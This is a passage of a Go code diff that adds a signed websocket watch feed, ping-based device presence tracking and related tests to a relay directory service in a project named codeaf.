"Codeaf-Presence" + +// subscribe applies every refusal that precedes the upgrade and takes a place +// under the identity's cap. An identity that is replaced can only ever be +// thawed, and a thaw is found by the client's slow backstop poll. +func subscribe(c call) (*Sub, error) { + if !isUpgrade(c.r) { + return nil, errUpgradeRequired + } + feed, ok := c.dir.(Watchable) + if !ok { + return nil, ErrNotFound + } + st := feed.Feed().Status() + switch { + case st.Stopped[c.device]: + return nil, ErrRevoked + case st.Rotation != nil: + return nil, ErrRotated + } + holds, err := ParseHolds(c.r.URL.Query()["hold"]) + if err != nil { + return nil, err + } + beat, err := ParseBeat(c.r.URL.Query()["beat"]) + if err != nil { + return nil, err + } + return feed.Feed().SubscribeBeat(c.device, holds, beat) +} + +func isUpgrade(r *http.Request) bool { + return strings.EqualFold(r.Header.Get("Upgrade"), "websocket") +} + +// serveWatch runs one socket until it or the directory ends. The reader answers +// "ping" with "pong" and ignores every other frame, so its error is what ends +// the socket when the peer goes. +func serveWatch(ctx context.Context, conn *websocket.Conn, sub *Sub, device string, events bool) { + ctx, cancel := context.WithCancel(ctx) + defer cancel() + go func() { + defer cancel() + answerPings(ctx, conn, sub) + }() + // The version is the first frame; an event socket then hears who is online. + first := func() {} + if events { + first = func() { + events := sub.Events() + go sendEvents(ctx, cancel, conn, events) + } + } + conn.Close(tell(ctx, conn, sub, device, first)) +} + +// sendEvents writes each event frame of an event socket until it ends. A write +// that fails ends the socket, like a failed version write. +func sendEvents(ctx context.Context, end context.CancelFunc, conn *websocket.Conn, events <-chan dirwatch.Event) { + for { + select { + case e := <-events: + if err := sendEvent(ctx, conn, e); err != nil { + end() + return + } + case <-ctx.Done(): + return + } + } +} + +func sendEvent(ctx context.Context, conn *websocket.Conn, e dirwatch.Event) error { + b, err := json.Marshal(e) + if err != nil { + return err + } + return sendText(ctx, conn, string(b)) +} + +// tell sends each version the watcher has not heard, then closes the socket +// with the code that explains a stop, so a device always hears the bump first. +// first runs once, after the first version is written. +func tell(ctx context.Context, conn *websocket.Conn, sub *Sub, device string, first func()) (websocket.StatusCode, string) { + for { + st, err := sub.Next(ctx) + if errors.Is(err, errSilent) { + return CloseSilent, "silent" + } + if err != nil { + return closing(ctx) + } + if err := sendVersion(ctx, conn, st.Version); err != nil { + return websocket.StatusInternalError, "write failed" + } + first() + first = func() {} + if code, why := stopAfter(st, device); code != 0 { + return code, why + } + } +} + +// closing is the close for a socket whose wait ended: going away when the +// relay closed its directory, and a plain end when the peer hung up. +func closing(ctx context.Context) (websocket.StatusCode, string) { + if ctx.Err() != nil { + return websocket.StatusNormalClosure, "" + } + return websocket.StatusGoingAway, "closing" +} + +// stopAfter is the close a Status calls for, or zero when the socket may stay. +func stopAfter(st Status, device string) (websocket.StatusCode, string) { + switch { + case st.Stopped[device]: + return CloseRevoked, "revoked" + case st.Rotation != nil: + return CloseRotated, "rotated" + } + return 0, "" +} + +func sendVersion(ctx context.Context, conn *websocket.Conn, v uint64) error { + return sendText(ctx, conn, fmt.Sprintf(`{"v":%d}`, v)) +} + +// answerPings answers each ping, stamping the socket's sign of life first so a +// peer that has heard the pong can rely on it. +func answerPings(ctx context.Context, conn *websocket.Conn, sub *Sub) { + for { + kind, msg, err := conn.Read(ctx) + if err != nil { + return + } + if kind == websocket.MessageText && string(msg) == "ping" { + sub.Ping() + if sendText(ctx, conn, "pong") != nil { + return + } + } + } +} + +func sendText(ctx context.Context, conn *websocket.Conn, s string) error { + ctx, cancel := context.WithTimeout(ctx, watchWrite) + defer cancel() + return conn.Write(ctx, websocket.MessageText, []byte(s)) +} diff --git a/internal/directory/watch_test.go b/internal/directory/watch_test.go new file mode 100644 index 0000000000..62e7e192b9 --- /dev/null +++ b/internal/directory/watch_test.go @@ -0,0 +1,39 @@ +package directory_test + +import ( + "net/http" + "net/http/httptest" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// feedless hides everything a Directory offers beyond the base interface, so +// it stands for a relay built before the watch feed existed. +type feedless struct{ directory.Directory } + +// A relay without the feed has no watch route at all, and says so the way any +// unknown route does, which is how a client learns to keep polling. +func TestWatchOldRelayIs404(t *testing.T) { + open := func(string) (directory.Directory, error) { + return feedless{directory.NewMemory(time.Now)}, nil + } + srv := httptest.NewServer(directory.Handler(fakeAuth, open)) + t.Cleanup(srv.Close) + req, err := http.NewRequest(http.MethodGet, srv.URL+directory.WatchPath, nil) + if err != nil { + t.Fatal(err) + } + fakeSign("id_one", devA)(req, nil) + req.Header.Set("Connection", "Upgrade") + req.Header.Set("Upgrade", "websocket") + resp, err := srv.Client().Do(req) + if err != nil { + t.Fatal(err) + } + resp.Body.Close() + if resp.StatusCode != http.StatusNotFound { + t.Fatalf("watch on a relay without the feed answered %d, want 404", resp.StatusCode) + } +} diff --git a/internal/directory/watchclient.go b/internal/directory/watchclient.go new file mode 100644 index 0000000000..eaf1f280ac --- /dev/null +++ b/internal/directory/watchclient.go @@ -0,0 +1,189 @@ +package directory + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "net/http" + "net/url" + "strconv" + "time" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/dirwatch" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// Watcher is a Client that can open the relay's watch socket. +type Watcher interface { + Watch(ctx context.Context) (dirwatch.Stream, error) +} + +// HoldWatcher is a Watcher whose socket can name the leases its holder holds, +// so the relay can count the socket as proof that the holder is alive. +type HoldWatcher interface { + Watcher + WatchHolding(ctx context.Context, holds []Hold) (dirwatch.Stream, error) +} + +var ( + _ Watcher = (*HTTP)(nil) + _ HoldWatcher = (*HTTP)(nil) +) + +// vouchHeader is how a relay says, in the upgrade answer, that it counts a +// socket as proof of life for the leases the socket names. A relay that does +// not send it is an old one that ignores the names. +const vouchHeader = "Codeaf-Vouch" + +// BeatSeconds is the period, in seconds, at which a watch socket pings, and +// the value every dial declares as `beat`. The relay derives the window in +// which it counts the device online from it. It is derived from the feed's own +// ping period rather than restated, so the declaration and the pings cannot +// drift (the feed's package cannot import this one, so the number lives there). +const BeatSeconds = int(dirwatch.KeepEvery / time.Second) + +// closeSilent is the close code of a relay that stopped hearing the socket. +const closeSilent websocket.StatusCode = dirwatch.CloseSilent + +// watchLimit is the most a frame may weigh. The frames are a few bytes, so a +// larger one is a fault and is refused before it is buffered. +const watchLimit = 1 << 10 + +// Watch opens the signed watch socket of a screen: it names no holds, so it +// vouches for nothing, and it asks for events (EventsQuery), so its Stream +// also carries who is online and who joined. The upgrade request is signed like any other directory +// request, with an empty body. +func (h *HTTP) Watch(ctx context.Context) (dirwatch.Stream, error) { + return h.dial(ctx, nil, true) +} + +// WatchHolding opens the watch socket of a process that holds leases, naming +// them in the query. The query is part of the signed uri, so only this device +// can name a hold. +func (h *HTTP) WatchHolding(ctx context.Context, holds []Hold) (dirwatch.Stream, error) { + return h.dial(ctx, holds, false) +} + +// dial opens the socket naming holds, and asking for events when events is set. +func (h *HTTP) dial(ctx context.Context, holds []Hold, events bool) (dirwatch.Stream, error) { + req, err := http.NewRequestWithContext(ctx, http.MethodGet, wireauth.Endpoint(h.base, dirBase+"/watch"), nil) + if err != nil { + return nil, err + } + req.URL.RawQuery = withBeat(watchQuery(holds, events)) + h.sign(req, nil) + // The library applies the client's Timeout to the dial alone and clears it + // for the socket, so the shared client is safe to hand over. + c, resp, err := websocket.Dial(ctx, req.URL.String(), &websocket.DialOptions{ + HTTPClient: h.hc, + HTTPHeader: req.Header, + }) + if err != nil { + return nil, dialFailure(resp, err) + } + c.SetReadLimit(watchLimit) + return &socket{c: c, vouching: resp.Header.Get(vouchHeader) == "1"}, nil +} + +// withBeat appends the declaration of how often this client pings, which is +// what the relay sizes its presence window from. It is added here, to every +// dial of both kinds of socket, so no caller of watchQuery can forget it. +func withBeat(query string) string { + beat := url.Values{"beat": {strconv.Itoa(BeatSeconds)}}.Encode() + if query == "" { + return beat + } + return query + "&" + beat +} + +// watchRefusals pairs each refusal the feed must stop on with the dirwatch +// sentinel that says it, so one error matches both vocabularies. +var watchRefusals = []struct{ dir, watch error }{ + {ErrRevoked, dirwatch.ErrRevoked}, + {ErrRotated, dirwatch.ErrRotated}, +} + +// dialFailure names why the upgrade did not happen. +func dialFailure(resp *http.Response, err error) error { + if resp == nil { + return fmt.Errorf("%w: %v", ErrUnreachable, err) + } + if resp.StatusCode == http.StatusNotFound { + return dirwatch.ErrNoRoute + } + refused := refusal(resp) + for _, r := range watchRefusals { + if errors.Is(refused, r.dir) { + return fmt.Errorf("%w: %w", r.watch, refused) + } + } + return refused +} + +// socket is the watch socket as the feed reads it. +type socket struct { + c *websocket.Conn + vouching bool +} + +// Next reads one text frame: a version, or the answer to a ping. +func (s *socket) Next(ctx context.Context) (dirwatch.Frame, error) { + _, data, err := s.c.Read(ctx) + if err != nil { + return dirwatch.Frame{}, closeSentinel(err) + } + return decodeFrame(data) +} + +// Ping writes the text the server answers with a pong. +func (s *socket) Ping(ctx context.Context) error { + return s.c.Write(ctx, websocket.MessageText, []byte("ping")) +} + +// Vouching is whether the upgrade answer carried the vouch header. +func (s *socket) Vouching() bool { return s.vouching } + +// Close says goodbye without waiting for the server to answer. +func (s *socket) Close() { _ = s.c.Close(websocket.StatusNormalClosure, "") } + +// closeSentinels maps each close code the server ends a socket with to the +// sentinel the feed acts on. +var closeSentinels = map[websocket.StatusCode]error{ + dirwatch.CloseRevoked: dirwatch.ErrRevoked, + dirwatch.CloseRotated: dirwatch.ErrRotated, + closeSilent: dirwatch.ErrSilent, +} + +// closeSentinel turns the server's close codes into their sentinels. +func closeSentinel(err error) error { + if sentinel, ok := closeSentinels[websocket.CloseStatus(err)]; ok { + return sentinel + } + return err +} + +// decodeFrame reads `pong`, `{"v":N}` or an event frame `{"t":...}`; fields it +// does not know are ignored so the server may add some, and an event of a kind +// it does not know is passed on for the feed to ignore. +func decodeFrame(data []byte) (dirwatch.Frame, error) { + if string(data) == "pong" { + return dirwatch.Frame{Pong: true}, nil + } + var f struct { + V *uint64 `json:"v"` + dirwatch.Event + } + if err := json.Unmarshal(data, &f); err != nil { + return dirwatch.Frame{}, fmt.Errorf("directory: undecodable watch frame %q", data) + } + switch { + case f.V != nil: + return dirwatch.Frame{Version: *f.V}, nil + case f.T != "": + return dirwatch.Frame{Event: &f.Event}, nil + } + return dirwatch.Frame{}, fmt.Errorf("directory: undecodable watch frame %q", data) +} diff --git a/internal/directory/watchclient_test.go b/internal/directory/watchclient_test.go new file mode 100644 index 0000000000..2a5052808e --- /dev/null +++ b/internal/directory/watchclient_test.go @@ -0,0 +1,274 @@ +package directory_test + +import ( + "context" + "errors" + "io" + "net/http" + "net/http/httptest" + "net/url" + "strings" + "testing" + "time" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/dirwatch" +) + +// signedHeaders are the four headers a signed request carries. +var signedHeaders = []string{"Codeaf-Identity", "Codeaf-Cert", "Codeaf-Time", "Codeaf-Sig"} + +// stampAll stands in for the signer: it sets the four headers and notes the body. +func stampAll(r *http.Request, _ []byte) { + for _, h := range signedHeaders { + r.Header.Set(h, "x") + } +} + +func watchClient(srv *httptest.Server) *directory.HTTP { + return directory.NewHTTP(srv.URL, stampAll, srv.Client()) +} + +// serve runs handler as the watch route and returns the client dialled at it. +func serve(t *testing.T, handler http.HandlerFunc) *directory.HTTP { + t.Helper() + srv := httptest.NewServer(handler) + t.Cleanup(srv.Close) + return watchClient(srv) +} + +func accept(t *testing.T, w http.ResponseWriter, r *http.Request) *websocket.Conn { + t.Helper() + c, err := websocket.Accept(w, r, nil) + if err != nil { + t.Errorf("accept: %v", err) + } + return c +} + +func TestWatchUpgradeIsSigned(t *testing.T) { + seen := make(chan *http.Request, 1) + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + seen <- r + conn := accept(t, w, r) + conn.Close(websocket.StatusNormalClosure, "") + }) + s, err := c.Watch(context.Background()) + if err != nil { + t.Fatal(err) + } + defer s.Close() + r := <-seen + if r.URL.Path != "/v1/dir/watch" { + t.Fatalf("path %q", r.URL.Path) + } + for _, h := range signedHeaders { + if r.Header.Get(h) == "" { + t.Errorf("missing %s", h) + } + } + if b, _ := io.ReadAll(r.Body); len(b) != 0 { + t.Errorf("body %q", b) + } +} + +func TestWatchDecodesVersionAndPong(t *testing.T) { + got := make(chan string, 1) + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + conn := accept(t, w, r) + ctx := r.Context() + conn.Write(ctx, websocket.MessageText, []byte(`{"v":7,"extra":true}`)) + _, m, _ := conn.Read(ctx) + got <- string(m) + conn.Write(ctx, websocket.MessageText, []byte("pong")) + conn.Read(ctx) + }) + ctx := context.Background() + s, err := c.Watch(ctx) + if err != nil { + t.Fatal(err) + } + defer s.Close() + if f, err := s.Next(ctx); err != nil || f.Version != 7 || f.Pong { + t.Fatalf("frame %+v, %v", f, err) + } + if err := s.Ping(ctx); err != nil { + t.Fatal(err) + } + if m := <-got; m != "ping" { + t.Fatalf("server read %q", m) + } + if f, err := s.Next(ctx); err != nil || !f.Pong { + t.Fatalf("frame %+v, %v", f, err) + } +} + +func TestWatchUndecodableFrameIsAnError(t *testing.T) { + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + conn := accept(t, w, r) + conn.Write(r.Context(), websocket.MessageText, []byte("nonsense")) + conn.Read(r.Context()) + }) + s, err := c.Watch(context.Background()) + if err != nil { + t.Fatal(err) + } + defer s.Close() + if _, err := s.Next(context.Background()); err == nil { + t.Fatal("want an error") + } +} + +func TestWatchRefusedUpgrade(t *testing.T) { + cases := []struct { + name string + status int + body string + want error + }{ + {"no route", 404, "", dirwatch.ErrNoRoute}, + {"revoked", 401, `{"err":"revoked"}`, dirwatch.ErrRevoked}, + {"revoked keeps the directory sentinel", 401, `{"err":"revoked"}`, directory.ErrRevoked}, + {"rotated", 410, `{"err":"rotated"}`, dirwatch.ErrRotated}, + {"rotated keeps the directory sentinel", 410, `{"err":"rotated"}`, directory.ErrRotated}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(tc.status) + io.Copy(w, strings.NewReader(tc.body)) + }) + if _, err := c.Watch(context.Background()); !errors.Is(err, tc.want) { + t.Fatalf("got %v, want %v", err, tc.want) + } + }) + } +} + +func TestWatchUnreachable(t *testing.T) { + srv := httptest.NewServer(http.NotFoundHandler()) + c := watchClient(srv) + srv.Close() + if _, err := c.Watch(context.Background()); !errors.Is(err, directory.ErrUnreachable) { + t.Fatalf("got %v", err) + } +} + +func TestWatchCloseCodesAreSentinels(t *testing.T) { + for code, want := range map[websocket.StatusCode]error{ + dirwatch.CloseRevoked: dirwatch.ErrRevoked, + dirwatch.CloseRotated: dirwatch.ErrRotated, + } { + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + accept(t, w, r).Close(code, "") + }) + s, err := c.Watch(context.Background()) + if err != nil { + t.Fatal(err) + } + if _, err := s.Next(context.Background()); !errors.Is(err, want) { + t.Errorf("close %d: got %v, want %v", code, err, want) + } + s.Close() + } +} + +func TestListReadsTheVersionHeader(t *testing.T) { + for header, want := range map[string]uint64{"42": 42, "": 0, "soon": 0} { + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + if header != "" { + w.Header().Set(directory.VersionHeader, header) + } + io.WriteString(w, `{}`) + }) + if l, err := c.List(context.Background()); err != nil || l.Version != want { + t.Errorf("header %q: version %d, %v; want %d", header, l.Version, err, want) + } + } +} + +func TestWatchHoldingNamesHoldsInTheSignedURLAndReadsTheVouchWord(t *testing.T) { + seen := make(chan *http.Request, 1) + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + seen <- r + w.Header().Set("Codeaf-Vouch", "1") + conn := accept(t, w, r) + conn.Close(websocket.StatusNormalClosure, "") + }) + s, err := c.WatchHolding(context.Background(), []directory.Hold{{Cell: "c:1", Fence: 7}, {Cell: "d", Fence: 2}}) + if err != nil { + t.Fatal(err) + } + defer s.Close() + if got := (<-seen).URL.Query()["hold"]; len(got) != 2 || got[0] != "c:1:7" || got[1] != "d:2" { + t.Fatalf("holds in the query = %q", got) + } + if !s.Vouching() { + t.Fatal("a socket answered with the vouch word is not vouching") + } +} + +func TestWatchWithoutTheVouchWordIsNotVouching(t *testing.T) { + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + conn := accept(t, w, r) + conn.Close(websocket.StatusNormalClosure, "") + }) + s, err := c.WatchHolding(context.Background(), []directory.Hold{{Cell: "c", Fence: 1}}) + if err != nil { + t.Fatal(err) + } + defer s.Close() + if s.Vouching() { + t.Fatal("an old relay's socket is believed to vouch") + } +} + +// TestWatchDialsWithBeat is the contract's one source for the ping period: both +// kinds of dial declare the beat the feed pings at, so the relay sizes the +// presence window from the truth. +func TestWatchDialsWithBeat(t *testing.T) { + if time.Duration(directory.BeatSeconds)*time.Second != dirwatch.KeepEvery { + t.Fatalf("BeatSeconds %d and KeepEvery %v disagree", directory.BeatSeconds, dirwatch.KeepEvery) + } + dials := map[string]func(*directory.HTTP) (dirwatch.Stream, error){ + "home": func(c *directory.HTTP) (dirwatch.Stream, error) { return c.Watch(context.Background()) }, + "holder": func(c *directory.HTTP) (dirwatch.Stream, error) { + return c.WatchHolding(context.Background(), []directory.Hold{{Cell: "c1", Fence: 3}}) + }, + } + for name, dial := range dials { + seen := make(chan url.Values, 1) + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + seen <- r.URL.Query() + conn := accept(t, w, r) + conn.Close(websocket.StatusNormalClosure, "") + }) + s, err := dial(c) + if err != nil { + t.Fatal(err) + } + s.Close() + if got := (<-seen)["beat"]; len(got) != 1 || got[0] != "10" { + t.Errorf("%s dial declared beat %v, want exactly [10]", name, got) + } + } +} + +// TestWatchReadsSilentCloseAsItsSentinel is the wire half of the redial: the +// relay's 4408 close reaches the feed as dirwatch.ErrSilent. +func TestWatchReadsSilentCloseAsItsSentinel(t *testing.T) { + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + conn := accept(t, w, r) + conn.Close(websocket.StatusCode(4408), "silent") + }) + s, err := c.Watch(context.Background()) + if err != nil { + t.Fatal(err) + } + defer s.Close() + if _, err := s.Next(context.Background()); !errors.Is(err, dirwatch.ErrSilent) { + t.Fatalf("a 4408 close read as %v, want ErrSilent", err) + } +} diff --git a/internal/directory/watchevents_test.go b/internal/directory/watchevents_test.go new file mode 100644 index 0000000000..14f1b9bc7c --- /dev/null +++ b/internal/directory/watchevents_test.go @@ -0,0 +1,135 @@ +package directory_test + +import ( + "context" + "net/http/httptest" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/directory/directorytest" + "github.com/Agent-Field/codeaf/internal/dirwatch" +) + +// eventRig is a real handler over real sockets, with the feeds in reach. +type eventRig struct { + rig + dirs *namespaces +} + +func newEventRig(t *testing.T) eventRig { + t.Helper() + clock := directorytest.NewFakeClock() + dirs := newNamespaces(clock) + srv := httptest.NewServer(directory.Handler(fakeAuth, dirs.open)) + t.Cleanup(srv.Close) + return eventRig{rig{srv: srv, clock: clock}, dirs} +} + +func read(t *testing.T, s dirwatch.Stream) dirwatch.Frame { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + f, err := s.Next(ctx) + if err != nil { + t.Fatal(err) + } + return f +} + +func watcher(t *testing.T, c directory.Client) dirwatch.Stream { + t.Helper() + s, err := c.(directory.Watcher).Watch(context.Background()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(s.Close) + return s +} + +func TestAnEventSocketHearsTheVersionThenWhoIsOnlineThenWhoComes(t *testing.T) { + g := newEventRig(t) + a := watcher(t, g.as("id_one", devA)) + if f := read(t, a); f.Event != nil || f.Pong { + t.Fatalf("the first frame was not a version: %+v", f) + } + watcher(t, g.as("id_one", devB)) + f := read(t, a) + if f.Event == nil || f.Event.T != dirwatch.EventPresence || f.Event.Device != devB || !*f.Event.Online { + t.Fatalf("a was not told b is online: %+v", f) + } +} + +func TestANewEventSocketIsToldWhoWasAlreadyOnlineRightAfterTheVersion(t *testing.T) { + g := newEventRig(t) + watcher(t, g.as("id_one", devA)) + b := watcher(t, g.as("id_one", devB)) + if f := read(t, b); f.Event != nil { + t.Fatalf("an event came before the version: %+v", f) + } + f := read(t, b) + if f.Event == nil || f.Event.Device != devA || !*f.Event.Online { + t.Fatalf("b was not told a is online: %+v", f) + } +} + +func TestASocketThatNamesHoldsAndSkipsEventsHearsNoEvent(t *testing.T) { + g := newEventRig(t) + holder, err := g.as("id_one", devA).(directory.HoldWatcher).WatchHolding(context.Background(), nil) + if err != nil { + t.Fatal(err) + } + defer holder.Close() + read(t, holder) + watcher(t, g.as("id_one", devB)) + ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond) + defer cancel() + if f, err := holder.Next(ctx); err == nil { + t.Fatalf("a socket without events heard %+v", f) + } +} + +func TestAFollowerStateShowsOnlinePeers(t *testing.T) { + g := newEventRig(t) + c := g.as("id_one", devA) + f := dirwatch.Follow(t.Name(), c.(directory.Watcher).Watch) + defer f.Close() + watcher(t, g.as("id_one", devB)) + waitFor(t, f, func(s dirwatch.State) bool { return len(s.Online) == 1 && s.Online[0] == devB }) +} + +func waitFor(t *testing.T, f dirwatch.Follower, ok func(dirwatch.State) bool) { + t.Helper() + deadline := time.After(5 * time.Second) + for !ok(f.State()) { + select { + case <-f.Changes(): + case <-deadline: + t.Fatalf("state never matched: %+v", f.State()) + } + } +} + +func TestPresenceAnswersWhoIsOnlineAndWhenTheOthersWereSeen(t *testing.T) { + g := newEventRig(t) + ctx := context.Background() + a, b := g.as("id_one", devA), g.as("id_one", devB) + for _, c := range []directory.Client{a, b} { + if err := c.PutDevice(ctx, map[directory.Client]string{a: devA, b: devB}[c], directory.Device{V: 1}); err != nil { + t.Fatal(err) + } + } + s := watcher(t, b) + read(t, s) + // The socket pings every 10 s, so a quiet 20 s is inside its 25 s window; a silent minute would show it off. + g.clock.Advance(20 * time.Second) + v, err := a.(interface { + Presence(context.Context) (directory.PresenceView, error) + }).Presence(ctx) + if err != nil { + t.Fatal(err) + } + if !v.Devices[devB].Online || v.Devices[devB].LastSeen != v.Now || v.Devices[devA].Online || v.Version == 0 { + t.Fatalf("presence is %+v", v) + } +} diff --git a/internal/directory/watchfollow_test.go b/internal/directory/watchfollow_test.go new file mode 100644 index 0000000000..03e66686a2 --- /dev/null +++ b/internal/directory/watchfollow_test.go @@ -0,0 +1,66 @@ +package directory_test + +import ( + "context" + "fmt" + "net/http" + "sort" + "testing" + "time" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/dirwatch" +) + +// TestAChangeReachesAFollowerQuickly runs the real feed over a real socket to +// an in-process relay, and times how long a change takes from the server +// sending its frame to the follower being told. It is the socket's share of +// the change-to-screen delay; the read the screen makes next is one request. +func TestAChangeReachesAFollowerQuickly(t *testing.T) { + changes := make(chan uint64) + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + conn := accept(t, w, r) + defer conn.CloseNow() + ctx := r.Context() + conn.Write(ctx, websocket.MessageText, []byte(`{"v":0}`)) + for { + select { + case v := <-changes: + conn.Write(ctx, websocket.MessageText, []byte(fmt.Sprintf(`{"v":%d}`, v))) + case <-ctx.Done(): + return + } + } + }) + f := dirwatch.Follow(t.Name(), c.Watch) + defer f.Close() + waitChange(t, f) // the first frame, on accept + + var took []time.Duration + for v := uint64(1); v <= 20; v++ { + start := time.Now() + changes <- v + waitChange(t, f) + took = append(took, time.Since(start)) + if got := f.State().Version; got != v { + t.Fatalf("the follower holds version %d after a frame for %d", got, v) + } + } + sort.Slice(took, func(i, j int) bool { return took[i] < took[j] }) + t.Logf("change-to-follower latency over a real socket: median %v, worst %v", took[len(took)/2], took[len(took)-1]) + if took[len(took)-1] > time.Second { + t.Fatalf("a change took %v to reach the follower", took[len(took)-1]) + } +} + +func waitChange(t *testing.T, f dirwatch.Follower) { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + select { + case <-f.Changes(): + case <-ctx.Done(): + t.Fatal("the follower was never told") + } +} diff --git a/internal/directory/watchpresence.go b/internal/directory/watchpresence.go new file mode 100644 index 0000000000..650d24ea23 --- /dev/null +++ b/internal/directory/watchpresence.go @@ -0,0 +1,328 @@ +package directory + +import ( + "maps" + "slices" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/dirwatch" +) + +// OfflineDebounce is how long a device may hold no watch socket before its +// peers are told it is offline (docs/ux-pairing-contract.md, section 5). +const OfflineDebounce = 15 * time.Second + +// eventBuffer is how many event frames wait for one socket. A socket that +// falls further behind loses the newest ones: events are hints, and the +// directory list is the truth a client re-reads. +const eventBuffer = 32 + +// After runs fn once after d and answers a stop that reports whether it beat +// the run. The relay's own is the wall clock's; a test that moves a fake clock +// hands the directory timers that move with it. +type After func(d time.Duration, fn func()) (stop func() bool) + +// presence knows which devices hold a live watch socket, and tells the sockets +// that asked for events when that changes. A socket is live while its pings +// keep coming (contract 21.12.2), and a device is online while it holds one. +// A device whose last live socket closed is announced offline only after +// OfflineDebounce, and a reconnect inside that gap announces nothing. A device +// whose sockets simply fell silent is announced offline by the sweep at the +// moment its last one lapsed, and its sockets are told to go. +type presence struct { + clock func() time.Time + // after is the timers the debounce and the sweep run on. + after After + + mu sync.Mutex + socks map[string]map[*Sub]struct{} // sockets held, by device, live or not + waiting map[string]*gap // devices in their debounce: still told online + gone map[string]bool // devices already announced offline since they last arrived + watchers map[*Sub]struct{} // the sockets that asked for events + seen func(device string, at int64) + alarm alarm +} + +// gap is one device's debounce. Identity is the pointer: a timer that fires +// after its device returned finds another gap, or none, and does nothing. +type gap struct{ stop func() bool } + +// seenAt is one last_seen stamp the presence owes the OnSeen hook, which must +// not be called while the lock is held. +type seenAt struct { + device string + at int64 +} + +func newPresence(clock func() time.Time) *presence { + return &presence{ + clock: clock, + after: func(d time.Duration, fn func()) func() bool { + return time.AfterFunc(d, fn).Stop + }, + socks: map[string]map[*Sub]struct{}{}, + waiting: map[string]*gap{}, + gone: map[string]bool{}, + watchers: map[*Sub]struct{}{}, + } +} + +// tell sends e to every event socket except the sockets of device `except`. +// The caller holds p.mu. +func (p *presence) tell(e dirwatch.Event, except string) { + for s := range p.watchers { + if s.device != except { + s.offer(e) + } + } +} + +func (p *presence) now() int64 { return p.clock().UnixMilli() } + +// stamp calls the OnSeen hook for each stamp, outside every lock. +func (p *presence) stamp(hook func(string, int64), stamps ...seenAt) { + if hook == nil { + return + } + for _, s := range stamps { + hook(s.device, s.at) + } +} + +// opened counts a new socket of s. The first socket of a device is news to the +// others unless the device is only reconnecting inside its gap; a device that +// was announced offline is news again whenever it returns. +func (p *presence) opened(s *Sub) { + p.mu.Lock() + had := len(p.socks[s.device]) > 0 + if p.socks[s.device] == nil { + p.socks[s.device] = map[*Sub]struct{}{} + } + p.socks[s.device][s] = struct{}{} + p.arrived(s.device, had) + p.arm() + hook := p.seen + p.mu.Unlock() + p.stamp(hook, seenAt{s.device, p.now()}) +} + +func (p *presence) arrived(device string, had bool) { + if p.gone[device] { + delete(p.gone, device) + p.tell(dirwatch.PresenceEvent(device, true, p.now()), device) + return + } + if g := p.waiting[device]; g != nil { + g.stop() + delete(p.waiting, device) + return + } + if !had { + p.tell(dirwatch.PresenceEvent(device, true, p.now()), device) + } +} + +// closed uncounts a socket of s. When it leaves its device with no live socket, +// that device's gap starts if the socket was live, and the device is announced +// offline at once if it was not: a socket that was already silent has waited its +// debounce out, and one the sweep lapsed was announced then. +func (p *presence) closed(s *Sub) { + p.mu.Lock() + now := p.now() + wasLive := s.liveAt(now) + delete(p.socks[s.device], s) + if len(p.socks[s.device]) == 0 { + delete(p.socks, s.device) + } + delete(p.watchers, s) + stamps := p.departed(s, wasLive, now) + p.arm() + hook := p.seen + p.mu.Unlock() + p.stamp(hook, stamps...) +} + +// departed settles the device of s after s left it, and answers the last_seen +// stamp that is owed, if any. The caller holds p.mu. +func (p *presence) departed(s *Sub, wasLive bool, now int64) []seenAt { + d := s.device + if p.liveSocks(d, now) > 0 || s.lapsed.Load() { + return nil + } + if wasLive { + p.depart(d) + return []seenAt{{d, now}} + } + return p.expire(d, s.alive.Load()) +} + +func (p *presence) depart(device string) { + g := &gap{} + g.stop = p.after(OfflineDebounce, func() { p.lapsed(device, g) }) + p.waiting[device] = g +} + +// lapsed ends g: the device stayed away, so its peers hear that it is offline. +func (p *presence) lapsed(device string, g *gap) { + p.mu.Lock() + defer p.mu.Unlock() + if p.waiting[device] != g { + return + } + p.expire(device, 0) +} + +// expire announces device offline once, tells every socket it still holds to go +// and answers the last_seen stamp owed: its newest sign of life, or last when +// that is newer (a socket that already closed). The caller holds p.mu. +func (p *presence) expire(device string, last int64) []seenAt { + if g := p.waiting[device]; g != nil { + g.stop() + delete(p.waiting, device) + } + if p.gone[device] { + return nil + } + p.gone[device] = true + for s := range p.socks[device] { + last = max(last, s.alive.Load()) + s.lapse() + } + p.tell(dirwatch.PresenceEvent(device, false, p.now()), device) + if last == 0 { + return nil + } + return []seenAt{{device, last}} +} + +// liveSocks counts the live sockets of device at unix ms now. The caller holds p.mu. +func (p *presence) liveSocks(device string, now int64) int { + n := 0 + for s := range p.socks[device] { + if s.liveAt(now) { + n++ + } + } + return n +} + +// subscribe makes s an event socket and queues who is online for it, itself +// excluded. The sweep exists from here on, until the last event socket leaves. +func (p *presence) subscribe(s *Sub) { + p.mu.Lock() + defer p.mu.Unlock() + p.watchers[s] = struct{}{} + for _, device := range slices.Sorted(maps.Keys(p.believed())) { + if device != s.device { + s.offer(dirwatch.PresenceEvent(device, true, p.now())) + } + } + p.arm() +} + +// believed is 